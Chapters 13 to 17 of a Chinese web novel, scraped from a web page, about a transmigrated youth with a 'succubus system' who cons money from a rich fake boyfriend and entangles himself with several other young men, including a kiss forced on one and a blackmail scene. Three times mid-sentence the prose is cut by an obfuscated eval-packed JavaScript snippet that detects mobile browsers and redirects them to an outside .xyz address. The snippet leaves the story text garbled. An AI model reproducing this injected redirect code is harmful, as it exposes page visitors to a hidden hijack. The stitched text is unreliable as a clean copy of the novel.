医生来过后,确认他的病因不止一种,还特意叮嘱顾嘉致:“病人要注意保暖,不能着凉,按时吃药,还有就是,那种事情要少做。” 顾嘉致听完,耳尖微红,他当然知道是什么事情,连忙送别医生。 鬼知道叶临身体这么差,稍微折腾就生病了,真是不省心! 顾嘉致骂骂咧咧地帮他敷上冰袋,又把做好的饭菜端进卧室里。 叶临迷迷糊糊中听到有人叫自己,睁开眼就看到顾嘉致拿着碗勺看他:“天亮了吗?” 顾嘉致无奈地摇头:“张嘴吃饭,你发高烧了,需要补充营养。” 叶临乖乖照做,尝到好喝的粥,恢复了一点精神:“这个粥好好喝,我从来没喝过。” 顾嘉致继续喂他喝粥,又要嫌弃他:“你能吃过什么好东西,这里面放了很多珍贵食材和药材的。” 叶临的脸色苍白,说话轻飘飘的:“对啊,我没有吃过,还好有你。我生病了,你还照顾我,真好!” 虽然他以前交过很多好朋友,但都是一起淘气捣蛋,开摩托炸街的损友,从来没有人像顾嘉致这样对他好。 顾嘉致被他说得心虚,还是继续嘲讽:“这么缺爱嘛,一点点好就感动得不行。” 这个时候叶临喝了一半的粥就开始犯困,没有认真听他的话,摸着头躺下来:“我好累,要睡觉。” 顾嘉致放下碗勺,帮他掖好被子:“睡吧你,身体真弱。” 叶临刚闭上眼,就听到手机铃声响起来,连忙拿起来接听:“喂,文乐。” “我给你发那么多条消息,你为什么不回啊!” “还说是我男朋友,有你这样的吗,六七个小时都不回消息!” “人又不是.......”叶临刚想发脾气,发现梁文乐给自己发了好几个大额红包,连忙点接收,语气都变好了:“我今天身体不太舒服。 文乐对不起,我下次肯定及时回你消息。我真是个不称职的男朋友,该死该死!” “好吧,现在才收红包,看来你是真病了。那你记得,五天后我表姐要过生日,到时候会邀请沈邵过来,你要........” 没等他说完,手机就被迫挂断。 是脸色阴沉的顾嘉致夺过叶临的手机,强行挂断。 叶临疑惑地看着顾嘉致:“你干嘛抢我手机?” 14. 第14章 顾嘉致差点就把手机摔碎,他听到叶临生病虚弱了还对梁文乐温声细语,仿佛真的在履行身为男朋友的职责,心情瞬间就不好了。 叶临太累了,眼睛都没完全睁开,现在不想管别的事情,只是指着枕头旁边:“你把手机放下,我要休息了。” 顾嘉致瞥了眼手机上的聊天记录,发现叶临全程都在谄媚梁文乐,还时不时地撒娇,跟在自己面前完全就是两幅面孔。 生病就愿意哄梁文乐,但是要使唤他,还不表现得非常疲惫,真双标啊! 而且不是在演戏吗,怎么感觉字里行间都透露出依赖和爱意? 顾嘉致越想越生气,把手机递过去质问:“你不是跟梁文乐在演戏吗,怎么说这么多情话,搞得好像你们真的谈了一样?” 叶临接过手机就放在旁边,安心地躺下来,随口敷衍:“就是要这个效果啊,大家都以为我们是情侣,显得演技多好。你别吵了,我要睡觉。” 顾嘉致看到他闭上眼,生气又无奈,只能骂一句:“没良心的。” 明明是他照顾叶临,跟叶临住在一起,跟叶临亲密无间,怎么外人都以为叶临和梁文乐是情侣? 顾嘉致心里生出很多疑惑,可是很快都被自己否认。 他感觉自己不正常,为什么要计较这些呢,他只是暂时收留叶临,想沾便宜而已。 不敢再想了。 顾嘉致小声骂了叶临好几句,还是在旁边坐下来玩手机,反复看梁文乐和叶临的官宣朋友圈。 傍晚时分,柔和的阳光透过纱窗照进来,落在奶油质地的地面。 叶临的高烧终于退了,睁开眼就感觉到旁边有人,偏头去看,居然是顾嘉致。 顾嘉致还是抱着他,眼睛紧闭着,睡得很香。 老实说,他感觉顾嘉致最近过分粘人了,小时候邻居家的弟弟都不这样黏他的。 关系太好就会这样吗? 叶临想推开顾嘉致,但是对方抱得更紧,眉头还皱起来,似乎很不乐意。 好吧,念在顾嘉致照顾他的份上,就随便他抱着吧。 叶临拿出手机来看,梁文乐果然发了很多消息,都是在质问他为什么突然挂断电话。 这是他早就预料到的,把预先准备好的哄人措辞发过去。 【文乐对不起,刚刚我太困,直接睡过去了。但是你说的宴会,我肯定会准时参加的。】 【我才不信呢,居然敢挂我电话!】 【这是真的,文乐你看我的脸色就不好。】 叶临把自己的照片发过去,画面没有出现顾嘉致,只有他。 照片里的叶临脸色苍白如纸,眼神里水光,脸埋进柔软的枕头里,像是受伤的小兔子,看起来非常可怜。 梁文乐勉强相信他的措辞,又给他发消息。 【给你订的手机到了,明天来学校。】 【好耶!文乐你就是最好的人!】 梁文乐骂他谄媚,但是又忍不住想,这个蠢货怎么跟自己出去吃顿饭,就发高烧了? 难道是因为饭后,他没有开车送叶临回去,所以着凉了? 真是又蠢又脆弱。 梁文乐翻到他们官宣的朋友圈,陷入沉思。 叶临想到新手机就兴奋,连带着动作幅度变大,吵醒旁边的顾嘉致。 顾嘉致瞧见他在跟梁文乐聊天,立即把人拽过来亲,沉声抱怨:“一天到晚就知道讨好梁文乐,他对你很好吗?” 叶临好不容易才分开,红着脸戳他的心口:“你有病吧,动不动就亲。” 顾嘉致冷哼一声,又想惩罚他。 叶临连忙按住他的手:“疼死了,你别乱来。” 好吧,念在他生病初愈,暂时放过。 顾嘉致只是亲亲他,接着就起床去吃饭。 叶临跟在他后面,嚷嚷着要吃这个菜,那个菜,吵得要命。 顾嘉致冷着脸按照他的要求点外卖,才进洗漱间。 他们又是一起吃饭,一起回房间,打游戏又吵架。 早上的草坪有露珠,空气格外地清新,阳光还没出来,风吹到身上都有冷意。 叶临为了手机早早地起床,跟顾嘉致一起出门。 顾嘉致本来还以为他是为了送自己去上学,结果这小子是为了梁文乐,脸色阴沉。 到了教学楼就看到懒散打哈欠的梁文乐,他看起来睡眼惺忪,还没从梦中回过神来。 叶临忽然跑到他旁边,兴奋地搓手:“文乐文乐,我的手机呢!” 梁文乐立即被他的声音吵精神了,把包装盒递给他:“记得把我的所有聊天方式置顶,尤其是快捷键第一位得是我,以后随叫随到。” 叶临打开包装盒双眼发光,激动地拿起来拍照,还试用各种功能。 顾嘉致不屑地“啧”了一声:“得个手机就高兴成这样?” 梁文乐跟着附和:“他就是这样了,没见识。” 叶临把手机页面展现给了梁文乐看:“文乐,你看,我把壁纸和屏保,聊天背景都设置成你了!” 梁文乐大叫:“你有病啊,为什么挑这张照片!” 叶临打开相册:“文乐对不起,那你要哪一张啊?” 梁文乐低头选图,神情专注,叶临在旁边小声提意见。 两人靠在一起,俨然就是热恋期的小情侣。 而顾嘉致站在旁边,总感觉自己很多余,身上都能发光了,心情非常不爽:“文乐,快上课了,该走了。” 梁文乐这才抬头看他,边走边问:“哎,对了,为什么你会和叶临一起来学校?” 叶临率先回答:“我就住在他家附近,刚好今天顺路,我容易迷路,就让他带我过来了。” 顾嘉致愣住了,他没想到叶临的撒谎技术熟练得炉火纯青,而且叶临明显在刻意遮掩。 为什么掩盖他们同住的事实,是觉得梁文乐会介意,还是觉得他见不得光? 梁文乐没注意到顾嘉致的表情怪异,只是抬手戳戳叶临的脸颊,嘲笑道:“好吧,你确实挺蠢的,很容易迷路,那以后就在学校大门口等我。” 叶临熟练地靠过去,随口夸奖:“文乐你真好!” 梁文乐笑起来,又嘲笑他好几句,都没跟顾嘉致说几句话。 进入教室后,叶临就坐在梁文乐的右侧,而顾嘉致坐在左侧。 叶临压低声音陪梁文乐说话,旁边的顾嘉致就像是空气。 上课后,梁文乐忽然说道:“我想喝琉璃街的酶果茶了,你去给我买。” 叶临点点头记下他的要求,麻溜地从后门离开。 顾嘉致记得琉璃街距离这里有六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483423|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公里,而且那家果茶特别火爆,平时要排长队,店家为人朴实,有钱都买不到。 平时梁文乐都是找人代买,结果今天就使唤起叶临,分明就是想欺负人。 但这不是最重要的,重要的是叶临也心甘情愿地被他使唤。 怎么回事,在家里他叫叶临去拿杯水,这家伙都不乐意,来外面就愿意给梁文乐使唤了? 顾嘉致紧紧地捏住笔尖,牙齿都在打架,浑身都散发着怨气,仿佛形成了一个球形的黑色气罩。 梁文乐才注意到他的表情难看,转头去问:“你怎么了,看起来很生气?” 顾嘉致回过神,迅速微笑,用力划着书本:“没事。” 梁文乐没察觉到他的异常,继续吐槽:“我和你说,叶临好听话,像小狗一样,我让他干嘛就干嘛。” 顾嘉致笑不出来,扯了扯嘴角:“是吗?” 梁文乐开始列举叶临的听话示例,比如永远都会站在自己的角度考虑问题,永远都会夸他好,永远都会帮他骂人,经常秒回,还风雨无阻地满足他的一切要求。 顾嘉致面无表情地应和,半点都不想听梁文乐说这些。 四十多分钟后,叶临拎着两杯果茶回来。 他还特意要了另外的保温袋,里面放满了冰块制冷,保证果茶的口感。甚至于额外买了慕斯蛋糕。 叶临把包装袋拆开,亲手把吸管插上才递过去,还在蛋糕上放叉子,用书建造起一个遮挡的小屏风,方便进食。 顾嘉致冷冷道:“你倒是贴心哈。” 叶临最会讨好人,看着梁文乐就说:“那当然,这可是文乐要喝的。我特意尝了好几个口味的蛋糕,只有配着这个蛋糕才好吃。” 梁文乐喝了饮料,半信半疑地吃蛋糕,瞬间就感觉到一种奇妙的美好体验,激动地点点头:“确实好配,这样好好吃。” 叶临凑过去附和:“是吧是吧。” 梁文乐难得夸奖他:“好吧,算你会买。” 叶临赶紧谄媚,两个人边喝边聊,不一会儿就把蛋糕和果茶吃完了。 顾嘉致感觉他们身上都被果茶和蛋糕腌入味,呕,腻死人了! 过一会儿,梁文乐放下手机,抱怨很无聊。 叶临就在白纸上画出格子,跟他说可以玩五子棋。 梁文乐嫌弃地白他一眼:“谁要跟你玩这种无聊的游戏,又不是三岁小孩。” 叶临抓着他的手在格子上画了:“哎呀,玩嘛玩嘛,三局两胜,胜者可以向败者提要求。” 梁文乐嘴上不情愿,还是看准位置继续画。 可能是真的很无聊的吧,也有可能是叶临靠过来,那双眼睛水光涟漪,看着很惹人喜欢。 三局过后,文乐获胜,可以提要求。 叶临故作痛苦地看向梁文乐:“文乐要怎么罚我?” 梁文乐用力里去捏他的脸,低声道:“罚你躺下来,随便我捏。” 叶临没骨头似靠进他的怀里,平躺下来,任他捏,嘴上还要说着:“笨蛋叶临失败,要被聪明文乐制裁了。” 梁文乐差点没忍住笑出声,低头去挠他。 顾嘉致在旁边看完全程,只觉得恶心,胃里翻江倒海,特别想吐。 他现在就可以上学校表白墙匿名投诉:臭情侣没有边界感,真恶心! 15. 第15章 顾嘉致好不容易熬到下课,结果叶临跟梁文乐出去吃饭,他只能找别的朋友。 朋友来找他的时候,看梁文乐和叶临靠在一起,嫌弃地摇头:“文乐谈恋爱后也是变了,咦,真可怕!” 顾嘉致看着他们的背影,都没了吃饭的心情。 朋友又拍拍他的肩膀感慨:“兄弟,答应我,以后不要变成这样,不然我会鄙视你的。要什么感情,快乐最重要!” 顾嘉致终于憋不住,冷了脸:“不吃了,你自己去吧。” 朋友懵了:“你怎么了,玉玉症啊?” 顾嘉致骂了一声“滚”,迅速走向停车场,他觉得自己应该出去冷静冷静,不然要原地爆炸了。 另外一边,叶临刚从梁文乐那里骗到五十万,心情非常好。 从梁文乐要到钱,只需要随便说点好话,可比靠魅魔系统赚钱要轻松。 【宿主不要踩高捧低,毕竟也靠魅魔系统赚了很多钱。】 听到熟悉的机械音,叶临又想到之前跟顾嘉致的事情,不由得发消息过去,询问晚上吃什么。 毕竟他白天哄梁文乐,晚上还要回顾嘉致家里休息。 顾嘉致没有回消息,仿佛消失了。 坐在对面的梁文乐吃完饭,就给他提要求:“宴会当天,你的服装要得体,至少佩戴一个首饰或者手表,不然显得我谈了个穷鬼,丢死人了。” 叶临听到他这样说,就知道又能骗钱,连忙装可怜:“文乐,可是我没有得体的衣服,更没有首饰和手表。” 梁文乐无奈叹气:“行吧,我给你买,到时候记得穿上,千万别出丑。” 叶临点点头,美美地收下一套西装和价值六十万的袖扣。 晚上回到公寓,客厅空无一人,更没有熟悉的饭菜香味。 找了一圈都没看到顾嘉致的人影,只好给对方打电话。 结果还是没接通,只是回了条消息:出去度假散散心,过几天才回来。 真奇怪,这个顾嘉致居然跑出去度假了。 叶临没有多想,照常吃饭睡觉,第二天照常陪着梁文乐上下学,拿到了不少好处。 他看中一款三百多万的摩托车,全款拿下后就绕着全市溜达了一圈,专门去高架桥上体验刺激感。 贵的摩托车开出去就是不一样,路人的目光都会集中在他身上,都不是嫌弃,而是羡慕。 叶临很满意这种感觉,他还会在美女身边停下来,希望对方能够多看自己几眼。 但是美女们看见他,都是微笑,都没有人上前要联系方式。 怎么回事,是他的男性魅力不足吗? 回到家后,叶临特意搜索了很多增加男性魅力的攻略,发现金钱就是男性最好的美容品。 只要花钱到位,就会很有魅力。好吧,还是得多赚钱。 买了这辆摩托车,存款算下来又只有两百万了。 再努力攒攒钱买个房子,后面花钱开几个店,就能高枕无忧了。 叶临简单地规划好自己后续的路,还是没有看到顾嘉致回来,但他也不会去联系。 毕竟顾嘉致一个大活人,有钱有闲,出去玩不回来很正常。 转眼间,就到了生日宴会当天。 就在梁文乐表姐的别墅里举办,是一个建在半山腰的大别墅,宾客们能在花园里四处闲逛。 叶临今天穿了一件白色的西装,脖子上戴着梁文乐的同款蓝宝石项链,是深沉的暗蓝色,边缘有字母点缀。 表姐姓陈,陈琳瑜。 陈琳瑜穿着一袭淡黄色的抹胸礼裙在门口迎接他们,身姿高挑,姿色艳丽,笑容很有感染力。 叶临瞬间幻视那天的泳装美女,他就是喜欢这种阳光自信的大美女,恨不得跑过去帮她提裙子。 陈琳瑜身上只有最简单的珍珠首饰,还是很好看,而且说话温柔耐心,谁听了都喜欢。 叶临伸出手对陈琳瑜笑道:“表姐,我是叶临。” 陈琳瑜看到旁边的梁文乐皱眉,还是没有伸出手去握,只是微笑着回应:“你好。” 梁文乐用力按住叶临的肩膀:“表姐好啊,我这个男朋友是傻傻的吧。” 陈琳瑜无奈地笑起来:“这叫憨厚老实,挺可爱的。” 叶临点点头附和:“我也觉得我特别老实,是个好人。” 梁文乐恨不得锤死他,拉着他就往旁边走,没有在继续停留。 叶临频繁回头看后面的陈琳瑜,发自内心地赞赏:“你表姐你真好看,像公主,不,像女王一样。” 梁文乐咬牙切齿:“别看了,她不能喜欢你的,都跟陆家订婚了。少靠近她,免得被陆家的人误会了,我可不救你。” 叶临叹息一声,垂头丧气地转回来,跟着走到会客厅。 这里人人都盛装打扮,围绕在城堡似的蛋糕四周,低头说话,手里拿着酒和甜点。 梁文乐一进去,所有人的目光都朝着他投过来,走过来跟他打招呼。 叶临感慨梁文乐这家伙的地位真高,每次聚会都能是人群中心。 他不认识这些人,只认识站在窗边的沈邵。 沈邵还是一个人,拿着酒杯默默喝,看着外面,也不知道在想些什么。 叶临抓了梁文乐的袖子,低声示意:“文乐,沈邵就在哪里,你要过去说话吗?” 梁文乐才注意到沈邵的身影,居然又是远离人群之外。 以前他总觉得沈邵这样很独特,就像是高山的湖泊,如镜一般,只倒映蓝色天空。可是现在,却没有那种感觉了。 叶临继续催促:“哎呀,你去不去啊?” 梁文乐收回目光,用力掐他的手:“别多话,现在不是好时机,我这样凑上去,岂不是显得我很舔.狗?” 叶临小声嘀咕:“可是你不就一直单恋沈邵,本来就是要舔一点。” 梁文乐气得去戳他的眉心:“你说什么?” 叶临抬手去捂,可怜巴巴地讨饶:“文乐,我错了,不说不说。” 梁文乐翻了个白眼,叮嘱他接下来的流程,不许犯错。 第一步是对寿星陈琳瑜表达祝福。 第二步就是礼貌地跟陈琳瑜的父母问好。 第三步跟紧梁文乐,不许半路失踪,更不许表现得像个没眼光的家伙,用好奇的目光四处打探。 在旁人眼里,他们的感情很好,哪怕在大庭广众之下都要打情骂俏。 陈琳瑜看不下去,朝着梁文乐走过去,对他说道:“文乐,你也知道我爸妈比较保守,待会儿他们来了,你跟你男朋友收敛点?” 梁文乐疑惑道:“我怎么了,不就是很正常嘛?” 陈琳瑜无奈极了,目光落在他们牵在一起的手,以及靠着梁文乐肩膀的叶临。 叶临秒懂,马上松开手,不好意思地笑起来:“表姐抱歉哈,我会收敛的,你放心。” 梁文乐见叶临总是对陈琳钰谄媚,又想到他的臭毛病,严肃地叮嘱:“待会儿你给我闭嘴,谁也别看,就只看我,免得丢脸。” 叶临点点头,做出用手指封嘴的动作。 在陈琳瑜眼里,表弟是遇到了很爱的人,占有欲极强,捂着嘴笑起来。 生日宴会开始后,叶临紧跟着梁文乐,一句话都不说,安心地当个木头人。 期间有人跟他搭话,他都不回应,严格遵守老板的命令。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是这个蠢货长得小,生气的时候,脸颊泛着红,呼吸不匀,像是有毒的河豚涨起来,越生气越有意思。 沈邵也被他这副蠢样逗乐了,嘴角微勾:“输不起就别玩啊。” 叶临恨不得当场扇他巴掌,但是突然听到系统的提示音。 【宿主注意,饥饿值已经到达85,请尽快补充能量。】 完了,这几天顾嘉致不在家里,所以他就没补充。 不行,现在必须找到顾嘉致! 叶临害怕在众人面前变成魅魔的形态,急匆匆地跑出去。 他想跑到没人的地方给顾嘉致打电话,结果看到走廊尽头,穿黑西装的“顾嘉致”侧身走进厕所,连忙跑过去。 【饥饿值已达90,请宿主快点!】 叶临刚跑到“顾嘉致”面前,话还没说,就按着人亲。 对方突然瞪大眼睛,并没有配合地张开嘴,反而用力推开,连忙擦拭嘴唇。 叶临踉跄几步才停下来,抓住他的手骂:“你装什么装,快点亲我,然后回家做。” “顾嘉致”的表情惊恐,像是被人震碎了三观,艰难重塑中,重音强调:“你是有男朋友的。” 叶临以为顾嘉致要在生日宴会上避嫌,主动搂住他的脖子,垫脚去索吻:“你张嘴啊,反正这里没人,梁文乐才不会知道。” 门口忽然响起沈邵的声音:“哦,你说谁不知道你跟顾柘偷.情?” 16. 第16章 叶临最恨沈邵,松开手朝着他走过去骂:“管你屁事!” 沈邵无奈地摆手:“确实不管我的事,毕竟又不是我跟梁文乐谈恋爱。” 叶临想到自己输钱,就觉得有口气没顺下来,继续跟沈邵吵架,半点不肯退让。 顾柘走到洗手池,用湿巾擦拭嘴唇,还反复洗手,生怕沾上细菌。 陈家和顾家交好,陈琳瑜过生日,他和弟弟顾嘉致理应过来祝贺。 但是顾嘉致在外面野,找不到人。 他只好独自带着礼物前来,没想到会被梁文乐的男朋友强吻,还说出那种奇怪的话。 刚刚在会客厅中心,所有人都看见梁文乐和叶临恩爱,知道他们感情好。 但是没想到,叶临居然会是这种朝三暮四的烂人! 沈邵注意到顾柘的表情难看,继续嘲讽:“人家顾柘都不情愿跟你好,你还眼巴巴地凑上去吻,真掉价啊。” 叶临听到水流声,才发现顾柘在洗手擦嘴,表情嫌弃,终于意识到不对劲:“顾柘,他不是叫顾嘉致吗?” 顾柘用力捏紧洗手台边缘,极力忍住怒气,如果不是看在梁家的份上,他刚刚早就揍叶临了:“顾嘉致是我弟弟。” 叶临惊讶地怪叫一声,后知后觉:“啊,一模一样,是双胞胎!” 顾柘终于转过身看他,眼神像是蛰伏于草丛里的毒蛇,对视的瞬间就感觉非常瘆人:“你跟顾嘉致是这种不健康的关系?” 明明长的一模一样,但是顾嘉致看起来就是阳光帅气,平易近人,任何人都可以跟他自来熟,开玩笑。 但是顾柘完全不同,整个人都散发着阴冷狠辣的气场,只要说出话,就会被杀。 叶临心里直发毛,有种跟女生早恋被家长抓包的焦躁不安,连忙解释:“我,我喝多了认错人,不是顾嘉致,是林嘉致,一个小网红,你们不认识。” 沈邵无情拆穿:“哪有林嘉致,你瞎编的吧。” 气氛因为顾柘的到来变得压抑,沉重得喘不过气。 叶临总算想起来: 小说花了上千章描述顾柘的事业线,为人狠辣,蛇蝎心肠,雷霆手段。 顾柘大学毕业后帮助家族企业迅速走上巅峰,而且痛恨主角,是全书最大的反派。 主角被顾柘针对,几十次死里逃生,又是断腿,又是撞头的,还老是被顾柘抢走发财机会和人才。 至于顾嘉致的名字,只是在顾柘刚出场的时候描述几个字:不成气候的双胞胎弟弟。 后面几千章都没有顾嘉致出场,当然没印象,但是顾柘的印象深刻。 这本小说写了九百多万字,塑造的顾柘太强,水了好多剧情,被读者骂得狗血淋头。作者没有办法,强行安排剧情杀下线。 叶临刚穿进去,金手指变成魅魔系统,也没有按照剧情在走,还以为小说被魔改了,不会遇到顾柘这个反派。 但现在看起来,还是遇到了。 作为还没成长起来的主角,当然怕大反派。 叶临庆幸自己遇到的是19岁的顾柘,而不是24岁,随便扯了个理由转身就想走,结果手腕被顾柘握住。 力气太大了,手腕都变得青紫,疼得厉害。 反派再嚣张,都不能这样吧! 叶临用力甩,骂人都结巴了:“你,你有病啊,抓着我不放。” 顾柘的语气很冷,像是在审问犯人:“说清楚,你和顾嘉致之间的事情。” 叶临的声音都变小了:“我们就是好朋友,不信你打电话问他啊。话说你快点放开手,我是有男朋友的,你这样会被误会的。” 沈邵乐于看戏,用一种玩味的表情打量着他:“现在又知道自己有男朋友了?” 叶临恨不得撕烂沈邵的嘴,他记得这家伙就没多大的成就,家道中落的废物而已,怎么屡次三番嘲讽自己。 顾柘还是没放手,反而把他拽进来:“不说实话,我有的是办法治你。” 死去的回忆突然开始攻击他,顾柘在小说里就是很神经,有几百种折磨人的办法,像个暴君。 叶临慌慌张张地掏出手机,想呼叫好兄弟救命,却感觉腿软,朝着顾柘靠过去:“好,好痒.......” 顾柘见他面色潮红,眼睛里有水光,像是触碰到细菌,立即松开手:“你........” 沈邵:“磕.药了?” 顾柘很想搞清楚叶临跟弟弟之间的关系,但是看到叶临这副模样,而且还在陈家的地盘。 出于大局考虑,还是迅速撤出,没有再继续追问。 等他走了,沈邵就开始鼓掌:“精彩,你每次出现都很有意思。” 叶临已经开始看不清人,扶着洗手台勉强站住。 他艰难地打开手机,想划到顾嘉致的联系方式。 结果手机被沈邵抢走,只好扑过去抢。 沈邵单手扶着他,另外一只手在看手机屏幕:“果然是顾嘉致,你觉得梁文乐不可靠,所以再找一个,还挺会想的。” 之前他就觉得,叶临这种可怜的蠢货掌握不了自己的命运,如今也是一样的。被顾柘发现的话,顾嘉致跟他也不会长久。 【饥饿值已达99%,请宿主迅速补充。】 不行,不能变成魅魔的形态! 而且这个地方唯一的男人是沈邵,不管了,保命要紧! 叶临仅有的一丝理智,让他凑上去亲,还抓住沈邵的手。 沈邵就像是冬天里碰到了烧红的炭块,嗤笑一声:“这就忍不住了?” 叶临才不想变成魅魔,被人抓去研究,他只相信顾嘉致会保密,可不相信面前可恨的沈邵:“废话少说,快点帮我!” 沈邵已经在帮了,嘴上还要取笑他:“不是说有男朋友,为什么要我帮?” 叶临恨死他那张破嘴了,揪住衣领往下扯,强行堵住。 这样还能降低饥饿值。 【饥饿值下降到98%,请宿主继续加油。】 只要到90%,应该就能安全地离开别墅了。 他确实没有多少职业道德,明明知道沈邵是梁文乐要追的人,但是在生死存亡之际,突破原则很正常。 沈邵的嘴皮破了,尝到血腥味。他没想到叶临还挺凶的,于是反击回去。 两个人明明是门口不远处,但是现在已经移动到隔间内,方便遮掩。 沈邵说不清自己是什么感觉,本来是来看乐子的,但是叶临扑上来的瞬间就被勾起了兴趣。 难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483425|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪如今梁文乐这么宠他,顾嘉致还跟他有了关系。 当个玩物,确实很有意思。 沈邵凑过去,抵住他的额心,低声提醒:“你说梁文乐知道你这样,会怎么对你?” 肯定会把哭哭啼啼地破口大骂,然后把他打一顿吧。 叶临脑海里浮现出这一幕,手上去反击,毫不示弱地回嘴:“装什么装,不也挺兴.奋的?” 沈邵饶有兴致地看着他:“你确实很冲动,要是有人进来发现我们,你就完蛋了。” 叶临冷哼一声:“那就一起完蛋好了,谁怕谁啊。 我看你就是得了装病,最开始还文邹邹的,搞得多有文化似的。现在不就像个畜牲一样,随时随地兴.奋?” 沈邵脸上的笑意更深,他不得不承认,最初遇到叶临,还是想端着架子,装彬彬有礼,保持贵公子的风范。 可是刚刚在牌桌上被红心A碰到,就彻底不想装。 这都怪叶临,不是吗? 既然大家都能玩,那他也可以尝试吧。 “啧,不是这样的。” “要求这么多,觉得快活不就完了!” “你,你.....” 叶临彻底没力气了,只能靠着,眼睛都在失焦。 能够感觉到沈邵在吻他,比起顾嘉致的青涩,更富有技巧,而且丝毫不急躁。 就像是物件,可以慢慢地观赏,把玩。 但是不管了,能够消除饥饿值就行。 门口忽然传来声音,大概两个人,应该是喝醉酒的宾客。 “你说梁文乐怎么谈了这么个东西?” “就是,纯招笑!” “不过长得确实好看,我感觉比他哥好看多了。” “这确实,蠢萌蠢萌的。” 叶临听着这些话,就想出去揍人,但是他又被沈邵控制着,这就没办法了。 沈邵还故意折腾,非要逼他发出声音。 他恨得牙痒痒,干脆咬了沈邵的手背,要咬下肉才会罢休。 沈邵凑过去提醒他:“你再咬,我就叫,你看外面那两人怎么看你。” 叶临只好松嘴,但还是瞪沈邵,满脸不服气。 这时,外面的人已经走了,饥饿值回到890%。 叶临推开沈邵,出去洗手。 隐隐感觉到身后有股怨气,不用想都知道是沈邵这个混蛋。 沈邵走到他旁边洗手,啧啧两声:“用完就丢,把我当工具?” 叶临丝毫没有心理负担:“本来就是工具,你聪明的话,就把这件事捂紧了,别说出去。” 沈邵拿出手机,点开录音播放,包括他和顾柘对话,已经跟沈邵的全过程:“如果我把这个交给梁文乐,你会怎么样?” 天杀的,世界上怎么会有沈邵这种贱人! 叶临气愤地朝着他的左脸打了一拳:“删掉,不然我真能弄死你!” 沈邵半边脸颊都青紫了,还在笑,像是只狐狸,把手机高高地举起:“你就算砸了手机,我也有云端备份。 其实我高兴的话,就不会交给梁文乐,你再打下去,我就不高兴了。” 叶临恨不得砍死这个混蛋,但现在只能强忍着:“你想怎么样?” 17. 第17章 叶临的嘴唇颜色已经比在棋牌室里见到的深太多了,水润润的,比涂了唇膏还要好看,像是果冻。 想吃。 还有....... “叶临,你怎么在这里!”有个男人进来,跑到叶临旁边,用力拍他的肩膀抱怨:“文乐醉酒了,一直找你,快点过去陪他啊!” 叶临如释重负,从未这么感谢过梁文乐,笑着回应:“好好好,我现在就过去找他。” 沈邵也不好多说,只是默默地离开。反正这次没机会,总有下一次。 两三分钟赶到棋牌室,远远听见梁文乐在耍酒疯。 他把地上的玻璃瓶推到地上,嘴里嘟囔着:“烦死了,叶临呢?” 有人安抚他:“派人去找了,应该很快就会赶到。” 梁文乐阴沉着脸,踹了踹桌脚:“不会去找美女了吧,看我不把他的腿打断。” 其他人都没见过梁文乐露出这种表情,纷纷感慨他是真喜欢叶临,掌控欲太强了。 叶临绕过人群,走到梁文乐旁边,自然地挽住他的胳膊,轻声道:“好了,文乐别发火,我这不是回来了。” 梁文乐凑近看叶临,奇怪道:“你的嘴唇怎么红红的,涂口红了?” 叶临心中警铃大作,心虚得咬嘴唇,编造借口:“是你醉酒看错了,而且这里的灯光是彩色的,照出来是红色的。” 梁文乐抬手去按压,眼神迷离:“好软。” 叶临刚想把他带离棋牌室,就注意到站在不远处的顾柘。 他大半身体都隐没在黑暗之中,眼睛里泛着银光,就像是金属利器表面的光泽,看起来非常吓人。 仿佛是死神降临,审判所有的罪恶,马上要下地狱。 绝对不能再让梁文乐留在这里,否则顾柘上前拆穿他,不就完蛋了。 叶临抓着梁文乐的手往外扯:“文乐,我先送你回去休息吧。” 梁文乐晕乎乎的,但是觉得那里肯定很好吃,就像是他爱吃的焦糖布丁,于是倾身去吻。 全场都沸腾了,大家都在起哄,在调侃梁文乐出息了,居然敢在大庭广众之下跟男友接吻。 要知道,梁文乐是梁家的独子,备受宠爱。 以往他在圈子里的形象,都是暗恋沈邵的纯情少男,以及单纯听话的乖宝宝。 但是跟叶临谈恋爱后,就像是变了一个人,当然会引起众人的围观和感慨。 其实叶临本人没感觉是吻,总感觉自己是被醉酒的梁文乐当成某种甜品。 没有任何成年人之间的纠缠追逐,只有小孩子一样的讨吃。 毕竟梁文乐的经验为0,真没太大的触动。 而且他稍微带带,梁文乐就受不了,脸颊泛红,呼吸凌乱,紧紧地抱着他。 叶临趁着他失去反抗力,立即把人往外带,朝着停车场走去。 途中,他感觉到顾柘在跟着自己,但并没有靠近。 也不知道是什么毛病,现在是适合问话的时候吗? 还好,他上车后,顾柘的气息就消失了。 但是梁文乐偏要扑过来,缠着他:“还要,酥酥麻麻的,好喜欢......” 叶临没耐心地推开他,忍不住骂:“笨死了,别烦我!” 也只有梁文乐醉酒的时候,他才会暴露出本性,肆意苛责,丝毫不用顾忌老板的感受。 